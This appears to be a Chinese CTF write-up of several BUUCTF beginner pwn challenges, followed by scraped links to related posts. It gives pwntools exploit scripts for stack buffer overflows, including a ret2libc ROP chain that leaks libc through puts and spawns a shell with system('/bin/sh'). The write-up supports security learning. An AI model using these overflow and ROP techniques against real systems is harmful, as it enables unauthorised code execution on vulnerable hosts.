buuctf pwn wp---part1
pwn难啊
1、test_your_nc
测试你nc,不用说,连上就有。
2、rip
ida中已经包含了system函数:
溢出,覆盖rip为fun函数,peda计算偏移为23:
- from pwn import *
- #context.update(arch = 'i386', os = 'linux', timeout = 1)
- p = remote('node3.buuoj.cn',27146)
- #p = process('./pwn1')
- flag_addr = 0x40118A
- payload = 0xf*'a' +'a'*8 + p64(flag_addr)
- #print p.recv()
- p.sendline(payload)
- p.interactive()
3、warmup_csaw_2016
ida中,可以看到,存在溢出
使用peda计算偏移为72
- from pwn import *
- #context.update(arch = 'i386', os = 'linux', timeout = 1)
- p = remote('node3.buuoj.cn',29050)
- #p = process('./warmup_csaw_2016')
- catflag_addr = 0x40060d
- payload = 'A'*72 + p64(catflag_addr)
- #print p.recv()
- p.sendline(payload)
- p.interactive()
exp
4、pwn1_sctf_2016
先check一下文件
文件开启了NX。使用ida查看:
程序功能:将输入的所有的‘I’转化为you,然后输出“So,[输入]”
在fgets处,对输入的s进行了限制,不能溢出。但是在strcpy函数中,未对s进行限制,v0对输入的I进行变换后:V0长度=I的个数*3。
输入的I的长度最多为32,那么V0最长为32*3=96,远大于3C(60),可以进行溢出,需要3C+4 = 64位 = 21个‘I’ + 1个‘A’
- from pwn import *
- #context.update(arch = 'i386', os = 'linux', timeout = 1)
- p = remote('node3.buuoj.cn',29641)
- #p = process('./pwn1_sctf_2016')
- #p = remote('xxxxx',xxxx)
- catflag_addr = 0x8048f0d
- payload = 21*'I' +'A'+ p32(catflag_addr)
- #print p.recvuntil('yourself:')
- p.sendline(payload)
- p.interactive()
exp
5、ciscn_2019_c_1
先check一下,开启了Nx和Relro
ida中为找到system函数和‘/bin/sh’等字符,需要利用ROP和LibcSearcher库查找libc
在encrypt()函数中发现gets函数,这个是一个溢出点
可以通过溢出puts函数,泄露出puts函数的地址,找到libc,计算出system和'/bin/sh'的地址,然后执行system(‘/bin/sh’)
注意encryt()函数会修改我们的payload,所以第一位用'\0'避开。
偏移为:0x50+8
- 1 #!python
- 2 #coding:utf-8
- 3
- 4 from pwn import *
- 5 from LibcSearcher import *
- 6
- 7 context.log_level = 'debug'
- 8 context.arch = 'amd64'
- 9
- 10 elf = ELF('./ciscn_2019_c_1')
- 11 puts_got = elf.got['puts']
- 12 puts_plt = elf.plt['puts']
- 13 main_addr = elf.sym['main']
- 14 ret = 0x4006b9
- 15 pop_rdi = 0x400c83
- 16 sh = 0
- 17 lib = 0
- 18
- 19
- 20 def main(ip,port,debug):
- 21 global sh
- 22 global lib
- 23 if debug == 1:
- 24 sh = process('./ciscn_2019_c_1')
- 25 else:
- 26 sh = remote(ip,port)
- 27
- 28 sh.sendlineafter('choice!\n','1')
- 29 payload = '\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
- 30 sh.sendlineafter('encrypted\n',payload)
- 31 sh.recvline()
- 32 sh.recvline()
- 33 puts = u64(sh.recvuntil('\n')[:-1].ljust(8,'\0'))
- 34 libc = LibcSearcher('puts',puts)
- 35 libcbase = puts - libc.dump('puts')
- 36 binsh = libcbase + libc.dump('str_bin_sh')
- 37 sys_addr = libcbase + libc.dump('system')
- 38 sh.sendlineafter('choice!\n','1')
- 39 payload2 = '\0'+'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
- 40 sh.sendlineafter('encrypted\n',payload2)
- 41 sh.interactive()
- 42
- 43 if __name__ == '__main__':
- 44
- 45 main('node3.buuoj.cn',27020,0)
exp
6、ciscn_2019_n_1
先check一下,开启了NX和RELRO
查看字符串,能看到,或许是和flag相关
可以看到危险函数gets,存在溢出,可以通过v1覆盖v2的值从而执行system函数获取flag
通过跟随。可以知道11.28125地址为:0x41348000,偏移为:0x2c
- from pwn import *
- #context.update(arch = 'i386', os = 'linux', timeout = 1)
- p = remote('node3.buuoj.cn',26929)
- #p = ('./ciscn_2019_n_1')
- v2_addr = 0x41348000
- payload = 0x2c*'a' + p64(v2_addr)
- print p.recv()
- p.sendline(payload)
- p.interactive()
exp
7、ciscn_2019_en_2
同上5
待续。。。。
buuctf pwn wp---part1的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- buuctf misc wp 01
buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...
- buuctf misc wp 02
buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- BUUCTF 部分wp
目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...
- [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap
[V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...
- [BUUCTF]PWN——babyfengshui_33c3_2016
babyfengshui_33c3_2016 附件 步骤: 例行检查,32位程序,开启了cannary和nx 本地运行一下看看大概的情况,熟悉的堆的菜单布局 32位ida载入,看main函数 add ...
- [BUUCTF]PWN——roarctf_2019_easy_pwn(详解)
roarctf_2019_easy_pwn 附件 步骤: 例行检查,64位程序,保护全开 试运行一下程序,看看大概的情况,经典的堆块的菜单 64位ida载入,改了一下各个选项的函数名,方便看程序(按N ...
- [BUUCTF]PWN——[ZJCTF 2019]EasyHeap
[ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个 ...
随机推荐
- mysql 8.0.18 小白安装教程
1. 下载 官网下载:https://dev.mysql.com/downloads/mysql/ 嫌官网网速慢可以加q群,在群文件里下载: 1.下载第一个download 2.解压在自己建的目录(各 ...
- Anno&Viper -分布式锁服务端怎么实现
1.Anno简介 Anno是一个微服务框架引擎.入门简单.安全.稳定.高可用.全平台可监控.依赖第三方框架少.底层通讯RPC(Remote Procedure Call)采用稳定可靠经过无数成功项目验 ...
- 微软YARP初体验
本文讨论了微软的反向代理--YARP.YARP是一个可以创建高性能.高度可定制的反向代理服务器的类库.那么什么是反向代理呢?反向代理是位于用户与目标服务器之间的中间连接点.它接收初始的HTTP连接请求 ...
- linux系统的认识
当使用其他工具连接linux系统时的常用命令. 连接:ssh 用户名@ip 进入根目录:cd / (一般都是先进入根目录然后才能进入其他文件夹) 进入其他文件夹:cd /home ...
- 通过CollectionUtils工具类判断集合是否为空,通过StringUtils工具类判断字符串是否为空
通过CollectionUtils工具类判断集合是否为空 先引入CollectionUtils工具类: import org.apache.commons.collections4.Collectio ...
- (数据科学学习手札109)Python+Dash快速web应用开发——静态部件篇(中)
本文示例代码已上传至我的Github仓库https://github.com/CNFeffery/DataScienceStudyNotes 1 简介 这是我的系列教程Python+Dash快速web ...
- Django Static与Media
关于Django中Static和Media的设置问题(尤其是css和js静态文件加载的问题),网上有很多回答,但是发现有相当一部分回答并不能解决问题.有的可能是Django版本问题,有的是把media ...
- PUToast - 使用PopupWindow在Presentation上模拟Toast
PUToast Android10 (API 29) 之前 Toast 组件默认只能展示在主 Display 上,PUToast 通过构造一个 PopupWindoww 在 Presentation ...
- YSU小吃街
贪心贪不过,暴力搜就完事了 注意不连通情况 #include<iostream> #include<sstream> #include<cstdio> #inclu ...
- add_header被覆盖 -配置错误
Nginx的配置文件分为Server.Location.If等一些配置块,并且存在包含关系,和编程语言比较类似.如果在外层配置的一些选项,是可以被继承到内层的. 但这里的继承也有一些特性,比如add_ ...